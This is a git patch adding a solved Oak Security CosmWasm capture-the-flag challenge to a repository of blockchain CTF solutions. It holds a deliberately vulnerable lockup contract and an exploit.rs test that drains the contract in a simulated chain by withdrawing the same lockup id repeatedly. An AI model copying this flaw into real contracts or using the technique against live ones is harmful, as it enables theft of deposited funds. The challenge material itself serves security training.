From 0608f21ec0d20af053ff402493e7b2b68d56fe9a Mon Sep 17 00:00:00 2001 From: minaminao Date: Sat, 15 Jun 2024 02:30:16 +0900 Subject: [PATCH] add exploit for cosmwasm ctf 01 --- README.md | 45 +++- .../01-Mjolnir/.cargo/config.toml | 4 + .../01-Mjolnir/Cargo.toml | 54 +++++ src/OakSecurityCosmWasmCTF/01-Mjolnir/LICENSE | 202 ++++++++++++++++++ src/OakSecurityCosmWasmCTF/01-Mjolnir/NOTICE | 13 ++ .../01-Mjolnir/README.md | 41 ++++ .../01-Mjolnir/src/bin/schema.rs | 1 + .../01-Mjolnir/src/contract.rs | 127 +++++++++++ .../01-Mjolnir/src/error.rs | 11 + .../01-Mjolnir/src/exploit.rs | 103 +++++++++ .../01-Mjolnir/src/integration_tests.rs | 108 ++++++++++ .../01-Mjolnir/src/lib.rs | 8 + .../01-Mjolnir/src/msg.rs | 21 ++ .../01-Mjolnir/src/state.rs | 18 ++ src/OakSecurityCosmWasmCTF/README.md | 5 + 15 files changed, 751 insertions(+), 10 deletions(-) create mode 100644 src/OakSecurityCosmWasmCTF/01-Mjolnir/.cargo/config.toml create mode 100644 src/OakSecurityCosmWasmCTF/01-Mjolnir/Cargo.toml create mode 100644 src/OakSecurityCosmWasmCTF/01-Mjolnir/LICENSE create mode 100644 src/OakSecurityCosmWasmCTF/01-Mjolnir/NOTICE create mode 100644 src/OakSecurityCosmWasmCTF/01-Mjolnir/README.md create mode 100644 src/OakSecurityCosmWasmCTF/01-Mjolnir/src/bin/schema.rs create mode 100644 src/OakSecurityCosmWasmCTF/01-Mjolnir/src/contract.rs create mode 100644 src/OakSecurityCosmWasmCTF/01-Mjolnir/src/error.rs create mode 100644 src/OakSecurityCosmWasmCTF/01-Mjolnir/src/exploit.rs create mode 100644 src/OakSecurityCosmWasmCTF/01-Mjolnir/src/integration_tests.rs create mode 100644 src/OakSecurityCosmWasmCTF/01-Mjolnir/src/lib.rs create mode 100644 src/OakSecurityCosmWasmCTF/01-Mjolnir/src/msg.rs create mode 100644 src/OakSecurityCosmWasmCTF/01-Mjolnir/src/state.rs create mode 100644 src/OakSecurityCosmWasmCTF/README.md diff --git a/README.md b/README.md index 2da6e7c..3fe5965 100644 --- a/README.md +++ b/README.md @@ -64,9 +64,12 @@ If there are any incorrect descriptions, I would appreciate it if you could let - [Bitcoin basics](#bitcoin-basics) - [Recoveries of private keys by same-nonce attacks](#recoveries-of-private-keys-by-same-nonce-attacks-1) - [Bypassing PoW of other applications using Bitcoin's PoW database](#bypassing-pow-of-other-applications-using-bitcoins-pow-database) -- [Cairo](#cairo) - [Solana](#solana) +- [Cosmos](#cosmos) + - [CosmWasm](#cosmwasm) + - [Application-specific blockchain](#application-specific-blockchain) - [Move](#move) +- [Cairo](#cairo) - [Other Blockchain-Related](#other-blockchain-related) --- @@ -581,15 +584,6 @@ Note | --------------------------- | -------------- | | Dragon CTF 2020: Bit Flip 2 | 64-bit PoW | -## Cairo - -| Challenge | Note, Keywords | -| --------------------------------------------------------------- | ---------------- | -| [Paradigm CTF 2022: RIDDLE-OF-THE-SPHINX](src/ParadigmCTF2022/) | contract call | -| [Paradigm CTF 2022: CAIRO-PROXY](src/ParadigmCTF2022/) | integer overflow | -| [Paradigm CTF 2022: CAIRO-AUCTION](src/ParadigmCTF2022/) | `Uint256` | -| [BalsnCTF 2022: Cairo Reverse](src/BalsnCTF2022/) | reversing | - ## Solana | Challenge | Note, Keywords | @@ -608,6 +602,29 @@ Note | Project SEKAI CTF 2023: The Bidding | | | Project SEKAI CTF 2023: Play for Free | | +## Cosmos + +### CosmWasm + +| Challenge | Note, Keywords | +| ------------------------------------------ | -------------- | +| Oak Security CosmWasm CTF: 1. Mjolnir | | +| Oak Security CosmWasm CTF: 2. Gungnir | | +| Oak Security CosmWasm CTF: 3. Laevateinn | | +| Oak Security CosmWasm CTF: 4. Gram | | +| Oak Security CosmWasm CTF: 5. Draupnir | | +| Oak Security CosmWasm CTF: 6. Hofund | | +| Oak Security CosmWasm CTF: 7. Tyrfing | | +| Oak Security CosmWasm CTF: 8. Gjallarhorn | | +| Oak Security CosmWasm CTF: 9. Brisingamen | | +| Oak Security CosmWasm CTF: 10. Mistilteinn | | + +### Application-specific blockchain + +| Challenge | Note, Keywords | +| ----------------------------------- | -------------- | +| RealWorld CTF 3rd Finals: Billboard | | + ## Move | Challenge | Note, Keywords | @@ -616,6 +633,14 @@ Note | [Numen Cyber CTF 2023: ChatGPT tell me where is the vulnerability](src/NumenCTF/) | OSINT | | [Numen Cyber CTF 2023: Move to Crackme](src/NumenCTF/) | reversing Move code and Linux executable | +## Cairo + +| Challenge | Note, Keywords | +| --------------------------------------------------------------- | ---------------- | +| [Paradigm CTF 2022: RIDDLE-OF-THE-SPHINX](src/ParadigmCTF2022/) | contract call | +| [Paradigm CTF 2022: CAIRO-PROXY](src/ParadigmCTF2022/) | integer overflow | +| [Paradigm CTF 2022: CAIRO-AUCTION](src/ParadigmCTF2022/) | `Uint256` | +| [BalsnCTF 2022: Cairo Reverse](src/BalsnCTF2022/) | reversing | ## Other Blockchain-Related - Things that are not directly related to blockchains but are part of the ecosystems. diff --git a/src/OakSecurityCosmWasmCTF/01-Mjolnir/.cargo/config.toml b/src/OakSecurityCosmWasmCTF/01-Mjolnir/.cargo/config.toml new file mode 100644 index 0000000..af5698e --- /dev/null +++ b/src/OakSecurityCosmWasmCTF/01-Mjolnir/.cargo/config.toml @@ -0,0 +1,4 @@ +[alias] +wasm = "build --release --lib --target wasm32-unknown-unknown" +unit-test = "test --lib" +schema = "run --bin schema" diff --git a/src/OakSecurityCosmWasmCTF/01-Mjolnir/Cargo.toml b/src/OakSecurityCosmWasmCTF/01-Mjolnir/Cargo.toml new file mode 100644 index 0000000..d92ecd9 --- /dev/null +++ b/src/OakSecurityCosmWasmCTF/01-Mjolnir/Cargo.toml @@ -0,0 +1,54 @@ +[package] +name = "oaksecurity-cosmwasm-ctf-01" +version = "0.1.0" +authors = ["Oak Security "] +edition = "2021" + +exclude = [ + # Those files are rust-optimizer artifacts. You might want to commit them for convenience but they should not be part of the source code publication. + "contract.wasm", + "hash.txt", +] + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[lib] +crate-type = ["cdylib", "rlib"] + +[profile.release] +opt-level = 3 +debug = false +rpath = false +lto = true +debug-assertions = false +codegen-units = 1 +panic = 'abort' +incremental = false +overflow-checks = true + +[features] +# for more explicit tests, cargo test --features=backtraces +backtraces = ["cosmwasm-std/backtraces"] +# use library feature to disable all instantiate/execute/query exports +library = [] + +[package.metadata.scripts] +optimize = """docker run --rm -v "$(pwd)":/code \ + --mount type=volume,source="$(basename "$(pwd)")_cache",target=/code/target \ + --mount type=volume,source=registry_cache,target=/usr/local/cargo/registry \ + cosmwasm/rust-optimizer:0.12.10 +""" + +[dependencies] +cosmwasm-schema = "1.1.3" +cosmwasm-std = "1.1.3" +cosmwasm-storage = "1.1.3" +cw-storage-plus = "1.0.1" +cw-utils = "1.0.1" +cw2 = "1.0.1" +schemars = "0.8.10" +serde = { version = "1.0.145", default-features = false, features = ["derive"] } +thiserror = { version = "1.0.31" } + +[dev-dependencies] +cw-multi-test = "0.16.2" diff --git a/src/OakSecurityCosmWasmCTF/01-Mjolnir/LICENSE b/src/OakSecurityCosmWasmCTF/01-Mjolnir/LICENSE new file mode 100644 index 0000000..d645695 --- /dev/null +++ b/src/OakSecurityCosmWasmCTF/01-Mjolnir/LICENSE @@ -0,0 +1,202 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/src/OakSecurityCosmWasmCTF/01-Mjolnir/NOTICE b/src/OakSecurityCosmWasmCTF/01-Mjolnir/NOTICE new file mode 100644 index 0000000..8fcffd7 --- /dev/null +++ b/src/OakSecurityCosmWasmCTF/01-Mjolnir/NOTICE @@ -0,0 +1,13 @@ +Copyright 2023 Oak Security + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. diff --git a/src/OakSecurityCosmWasmCTF/01-Mjolnir/README.md b/src/OakSecurityCosmWasmCTF/01-Mjolnir/README.md new file mode 100644 index 0000000..cad8ede --- /dev/null +++ b/src/OakSecurityCosmWasmCTF/01-Mjolnir/README.md @@ -0,0 +1,41 @@ +# Awesomwasm 2023 CTF + +## Challenge 01: *Mjolnir* + +Smart contract that allows user deposit for a locked period before unlocking them. + +### Execute entry points: +```rust +pub enum ExecuteMsg { + Deposit {}, + Withdraw { ids: Vec }, +} +``` + +Please check the challenge's [integration_tests](./src/integration_test.rs) for expected usage examples. +You can use these tests as a base to create your exploit Proof of Concept. + +**:house: Base scenario:** +- The contract contains initial funds. +- `USER` deposits funds into the contract. + +**:star: Goal for the challenge:** +- Demonstrate how an unprivileged user can drain all funds inside the contract. + +## Scoring + +This challenge has been assigned a total of **90** points: +- **20** points will be awarded for a proper description of the finding that allows you to achieve the **Goal** above. +- **25** points will be awarded for a proper recommendation that fixes the issue. +- If the report is deemed valid, the remaining **45** additional points will be awarded for a working Proof of Concept exploit of the vulnerability. + +:exclamation: The usage of [`cw-multi-test`](https://github.com/CosmWasm/cw-multi-test) is **mandatory** for the PoC, please take the approach of the provided integration tests as a suggestion. + +:exclamation: Remember that insider threats and centralization concerns are out of the scope of the CTF. + +## Any questions? + +If you are unsure about the contract's logic or expected behavior, drop your question on the [official Telegram channel](https://t.me/+8ilY7qeG4stlYzJi) and one of our team members will reply to you as soon as possible. + +Please remember that only questions about the functionality from the point of view of a standard user will be answered. +Potential solutions, vulnerabilities, threat analysis or any other "attacker-minded" questions should never be discussed publicly in the channel and will not be answered. diff --git a/src/OakSecurityCosmWasmCTF/01-Mjolnir/src/bin/schema.rs b/src/OakSecurityCosmWasmCTF/01-Mjolnir/src/bin/schema.rs new file mode 100644 index 0000000..f328e4d --- /dev/null +++ b/src/OakSecurityCosmWasmCTF/01-Mjolnir/src/bin/schema.rs @@ -0,0 +1 @@ +fn main() {} diff --git a/src/OakSecurityCosmWasmCTF/01-Mjolnir/src/contract.rs b/src/OakSecurityCosmWasmCTF/01-Mjolnir/src/contract.rs new file mode 100644 index 0000000..46b8364 --- /dev/null +++ b/src/OakSecurityCosmWasmCTF/01-Mjolnir/src/contract.rs @@ -0,0 +1,127 @@ +#[cfg(not(feature = "library"))] +use cosmwasm_std::entry_point; +use cosmwasm_std::{ + to_binary, BankMsg, Binary, Coin, Deps, DepsMut, Env, MessageInfo, Response, StdResult, Uint128, +}; + +use crate::error::ContractError; +use crate::msg::{ExecuteMsg, InstantiateMsg, QueryMsg}; +// これがステート +use crate::state::{Lockup, LAST_ID, LOCKUPS}; +use cw_utils::must_pay; + +pub const DENOM: &str = "uawesome"; +pub const MINIMUM_DEPOSIT_AMOUNT: Uint128 = Uint128::new(10_000); +pub const LOCK_PERIOD: u64 = 60 * 60 * 24; + +#[cfg_attr(not(feature = "library"), entry_point)] +pub fn instantiate( + _deps: DepsMut, + _env: Env, + _info: MessageInfo, + _msg: InstantiateMsg, +) -> Result { + Ok(Response::new().add_attribute("action", "instantiate")) +} + +// execute が entry point になり、deposit か withdraw が実行される +#[cfg_attr(not(feature = "library"), entry_point)] +pub fn execute( + deps: DepsMut, + env: Env, + info: MessageInfo, + msg: ExecuteMsg, +) -> Result { + match msg { + ExecuteMsg::Deposit {} => deposit(deps, env, info), + ExecuteMsg::Withdraw { ids } => withdraw(deps, env, info, ids), + } +} + +/// Deposit entry point for users +pub fn deposit(deps: DepsMut, env: Env, info: MessageInfo) -> Result { + // check minimum amount and denom + let amount = must_pay(&info, DENOM).unwrap(); + + if amount < MINIMUM_DEPOSIT_AMOUNT { + return Err(ContractError::Unauthorized {}); + } + + // increment lock id + let id = LAST_ID.load(deps.storage).unwrap_or(1); + LAST_ID.save(deps.storage, &(id + 1)).unwrap(); + + // create lockup + let lock = Lockup { + id, + owner: info.sender, + amount, + release_timestamp: env.block.time.plus_seconds(LOCK_PERIOD), + }; + + // save lockup + LOCKUPS.save(deps.storage, id, &lock).unwrap(); + + Ok(Response::new() + .add_attribute("action", "deposit") + .add_attribute("id", lock.id.to_string()) + .add_attribute("owner", lock.owner) + .add_attribute("amount", lock.amount) + .add_attribute("release_timestamp", lock.release_timestamp.to_string())) +} + +/// Withdrawal entry point for users +pub fn withdraw( + deps: DepsMut, + env: Env, + info: MessageInfo, + ids: Vec, +) -> Result { + let mut lockups: Vec = vec![]; + let mut total_amount = Uint128::zero(); + + // fetch vaults to process + for lockup_id in ids.clone() { + let lockup = LOCKUPS.load(deps.storage, lockup_id).unwrap(); + lockups.push(lockup); + } + + for lockup in lockups { + // validate owner and time + if lockup.owner != info.sender || env.block.time < lockup.release_timestamp { + return Err(ContractError::Unauthorized {}); + } + + // increase total amount + total_amount += lockup.amount; + + // remove from storage + LOCKUPS.remove(deps.storage, lockup.id); + } + + let msg = BankMsg::Send { + to_address: info.sender.to_string(), + amount: vec![Coin { + denom: DENOM.to_string(), + amount: total_amount, + }], + }; + + Ok(Response::new() + .add_attribute("action", "withdraw") + .add_attribute("ids", format!("{:?}", ids)) + .add_attribute("total_amount", total_amount) + .add_message(msg)) +} + +#[cfg_attr(not(feature = "library"), entry_point)] +pub fn query(deps: Deps, _env: Env, msg: QueryMsg) -> StdResult { + match msg { + QueryMsg::GetLockup { id } => to_binary(&get_lockup(deps, id)?), + } +} + +/// Returns lockup information for a specified id +pub fn get_lockup(deps: Deps, id: u64) -> StdResult { + Ok(LOCKUPS.load(deps.storage, id).unwrap()) +} diff --git a/src/OakSecurityCosmWasmCTF/01-Mjolnir/src/error.rs b/src/OakSecurityCosmWasmCTF/01-Mjolnir/src/error.rs new file mode 100644 index 0000000..dc19f10 --- /dev/null +++ b/src/OakSecurityCosmWasmCTF/01-Mjolnir/src/error.rs @@ -0,0 +1,11 @@ +use cosmwasm_std::StdError; +use thiserror::Error; + +#[derive(Error, Debug)] +pub enum ContractError { + #[error("{0}")] + Std(#[from] StdError), + + #[error("Unauthorized")] + Unauthorized {}, +} diff --git a/src/OakSecurityCosmWasmCTF/01-Mjolnir/src/exploit.rs b/src/OakSecurityCosmWasmCTF/01-Mjolnir/src/exploit.rs new file mode 100644 index 0000000..66e2fdd --- /dev/null +++ b/src/OakSecurityCosmWasmCTF/01-Mjolnir/src/exploit.rs @@ -0,0 +1,103 @@ +#[cfg(test)] +pub mod exploit { + use crate::{ + contract::{DENOM, LOCK_PERIOD, MINIMUM_DEPOSIT_AMOUNT}, + msg::{ExecuteMsg, InstantiateMsg}, + }; + use cosmwasm_std::{coin, Addr, Empty, Uint128}; + use cw_multi_test::{App, Contract, ContractWrapper, Executor}; + + pub fn challenge_contract() -> Box> { + let contract = ContractWrapper::new( + crate::contract::execute, + crate::contract::instantiate, + crate::contract::query, + ); + Box::new(contract) + } + + pub const USER: &str = "user"; + pub const ADMIN: &str = "admin"; + + pub fn proper_instantiate() -> (App, Addr) { + let mut app = App::default(); + let cw_template_id = app.store_code(challenge_contract()); + + // init contract + let msg = InstantiateMsg { count: 1i32 }; + let contract_addr = app + .instantiate_contract( + cw_template_id, + Addr::unchecked(ADMIN), + &msg, + &[], + "test", + None, + ) + .unwrap(); + + // mint funds to contract + app = mint_tokens( + app, + contract_addr.to_string(), + MINIMUM_DEPOSIT_AMOUNT * Uint128::new(10), + ); + + // mint funds to user + app = mint_tokens(app, USER.to_string(), MINIMUM_DEPOSIT_AMOUNT); + + // deposit + let msg = ExecuteMsg::Deposit {}; + let sender = Addr::unchecked(USER); + app.execute_contract( + sender.clone(), + contract_addr.clone(), + &msg, + &[coin(MINIMUM_DEPOSIT_AMOUNT.u128(), DENOM)], + ) + .unwrap(); + + // verify no funds + let balance = app.wrap().query_balance(USER, DENOM).unwrap().amount; + assert_eq!(balance, Uint128::zero()); + + (app, contract_addr) + } + + pub fn mint_tokens(mut app: App, recipient: String, amount: Uint128) -> App { + app.sudo(cw_multi_test::SudoMsg::Bank( + cw_multi_test::BankSudo::Mint { + to_address: recipient.to_owned(), + amount: vec![coin(amount.u128(), DENOM)], + }, + )) + .unwrap(); + app + } + + #[test] + fn exploit() { + let (mut app, contract_addr) = proper_instantiate(); + + let player = Addr::unchecked(USER); + + // fast forward 24 hrs + app.update_block(|block| { + block.time = block.time.plus_seconds(LOCK_PERIOD); + }); + + let balance = app + .wrap() + .query_balance(contract_addr.clone(), DENOM) + .unwrap(); + assert_eq!(balance.amount, MINIMUM_DEPOSIT_AMOUNT * Uint128::new(11)); + + let msg = ExecuteMsg::Withdraw { ids: vec![1; 11] }; + let result = app + .execute_contract(player, contract_addr.clone(), &msg, &[]) + .unwrap(); + let balance = app.wrap().query_balance(contract_addr, DENOM).unwrap(); + assert_eq!(balance.amount, Uint128::new(0)); + println!("result: {:?}", result); + } +} diff --git a/src/OakSecurityCosmWasmCTF/01-Mjolnir/src/integration_tests.rs b/src/OakSecurityCosmWasmCTF/01-Mjolnir/src/integration_tests.rs new file mode 100644 index 0000000..7a2fe4b --- /dev/null +++ b/src/OakSecurityCosmWasmCTF/01-Mjolnir/src/integration_tests.rs @@ -0,0 +1,108 @@ +#[cfg(test)] +pub mod tests { + use crate::{ + contract::{DENOM, LOCK_PERIOD, MINIMUM_DEPOSIT_AMOUNT}, + msg::{ExecuteMsg, InstantiateMsg, QueryMsg}, + state::Lockup, + }; + use cosmwasm_std::{coin, Addr, Empty, Uint128}; + use cw_multi_test::{App, Contract, ContractWrapper, Executor}; + + pub fn challenge_contract() -> Box> { + let contract = ContractWrapper::new( + crate::contract::execute, + crate::contract::instantiate, + crate::contract::query, + ); + Box::new(contract) + } + + pub const USER: &str = "user"; + pub const ADMIN: &str = "admin"; + + pub fn proper_instantiate() -> (App, Addr) { + let mut app = App::default(); + let cw_template_id = app.store_code(challenge_contract()); + + // init contract + let msg = InstantiateMsg { count: 1i32 }; + let contract_addr = app + .instantiate_contract( + cw_template_id, + Addr::unchecked(ADMIN), + &msg, + &[], + "test", + None, + ) + .unwrap(); + + // mint funds to contract + app = mint_tokens( + app, + contract_addr.to_string(), + MINIMUM_DEPOSIT_AMOUNT * Uint128::new(10), + ); + + // mint funds to user + app = mint_tokens(app, USER.to_string(), MINIMUM_DEPOSIT_AMOUNT); + + // deposit + let msg = ExecuteMsg::Deposit {}; + let sender = Addr::unchecked(USER); + app.execute_contract( + sender.clone(), + contract_addr.clone(), + &msg, + &[coin(MINIMUM_DEPOSIT_AMOUNT.u128(), DENOM)], + ) + .unwrap(); + + // verify no funds + let balance = app.wrap().query_balance(USER, DENOM).unwrap().amount; + assert_eq!(balance, Uint128::zero()); + + (app, contract_addr) + } + + pub fn mint_tokens(mut app: App, recipient: String, amount: Uint128) -> App { + app.sudo(cw_multi_test::SudoMsg::Bank( + cw_multi_test::BankSudo::Mint { + to_address: recipient.to_owned(), + amount: vec![coin(amount.u128(), DENOM)], + }, + )) + .unwrap(); + app + } + + #[test] + fn basic_flow() { + let (mut app, contract_addr) = proper_instantiate(); + + let sender = Addr::unchecked(USER); + + // test query + let msg = QueryMsg::GetLockup { id: 1 }; + let lockup: Lockup = app + .wrap() + .query_wasm_smart(contract_addr.clone(), &msg) + .unwrap(); + assert_eq!(lockup.amount, MINIMUM_DEPOSIT_AMOUNT); + assert_eq!(lockup.owner, sender); + + // fast forward 24 hrs + app.update_block(|block| { + block.time = block.time.plus_seconds(LOCK_PERIOD); + }); + + // test withdraw + let msg = ExecuteMsg::Withdraw { ids: vec![1] }; + app.execute_contract(sender, contract_addr, &msg, &[]) + .unwrap(); + + // verify funds received + let balance = app.wrap().query_balance(USER, DENOM).unwrap().amount; + assert_eq!(balance, MINIMUM_DEPOSIT_AMOUNT); + } +} diff --git a/src/OakSecurityCosmWasmCTF/01-Mjolnir/src/lib.rs b/src/OakSecurityCosmWasmCTF/01-Mjolnir/src/lib.rs new file mode 100644 index 0000000..779104e --- /dev/null +++ b/src/OakSecurityCosmWasmCTF/01-Mjolnir/src/lib.rs @@ -0,0 +1,8 @@ +pub mod contract; +mod error; +pub mod exploit; +pub mod integration_tests; +pub mod msg; +pub mod state; + +pub use crate::error::ContractError; diff --git a/src/OakSecurityCosmWasmCTF/01-Mjolnir/src/msg.rs b/src/OakSecurityCosmWasmCTF/01-Mjolnir/src/msg.rs new file mode 100644 index 0000000..4416dcb --- /dev/null +++ b/src/OakSecurityCosmWasmCTF/01-Mjolnir/src/msg.rs @@ -0,0 +1,21 @@ +use cosmwasm_schema::{cw_serde, QueryResponses}; + +use crate::state::Lockup; + +#[cw_serde] +pub struct InstantiateMsg { + pub count: i32, +} + +#[cw_serde] +pub enum ExecuteMsg { + Deposit {}, + Withdraw { ids: Vec }, +} + +#[cw_serde] +#[derive(QueryResponses)] +pub enum QueryMsg { + #[returns(Lockup)] + GetLockup { id: u64 }, +} diff --git a/src/OakSecurityCosmWasmCTF/01-Mjolnir/src/state.rs b/src/OakSecurityCosmWasmCTF/01-Mjolnir/src/state.rs new file mode 100644 index 0000000..355c277 --- /dev/null +++ b/src/OakSecurityCosmWasmCTF/01-Mjolnir/src/state.rs @@ -0,0 +1,18 @@ +use cosmwasm_schema::cw_serde; +use cosmwasm_std::{Addr, Timestamp, Uint128}; +use cw_storage_plus::{Item, Map}; + +#[cw_serde] +pub struct Lockup { + /// Unique lockup identifier + pub id: u64, + /// Owner address + pub owner: Addr, + /// Locked amount + pub amount: Uint128, + /// Timestamp when the lockup can be withdrawn + pub release_timestamp: Timestamp, +} + +pub const LAST_ID: Item = Item::new("lock_id"); +pub const LOCKUPS: Map = Map::new("lockups"); diff --git a/src/OakSecurityCosmWasmCTF/README.md b/src/OakSecurityCosmWasmCTF/README.md new file mode 100644 index 0000000..044b8a9 --- /dev/null +++ b/src/OakSecurityCosmWasmCTF/README.md @@ -0,0 +1,5 @@ +# Oak Security CosmWasm CTF + +https://github.com/oak-security/cosmwasm-ctf + +My exploits are written in `exploit.rs`s.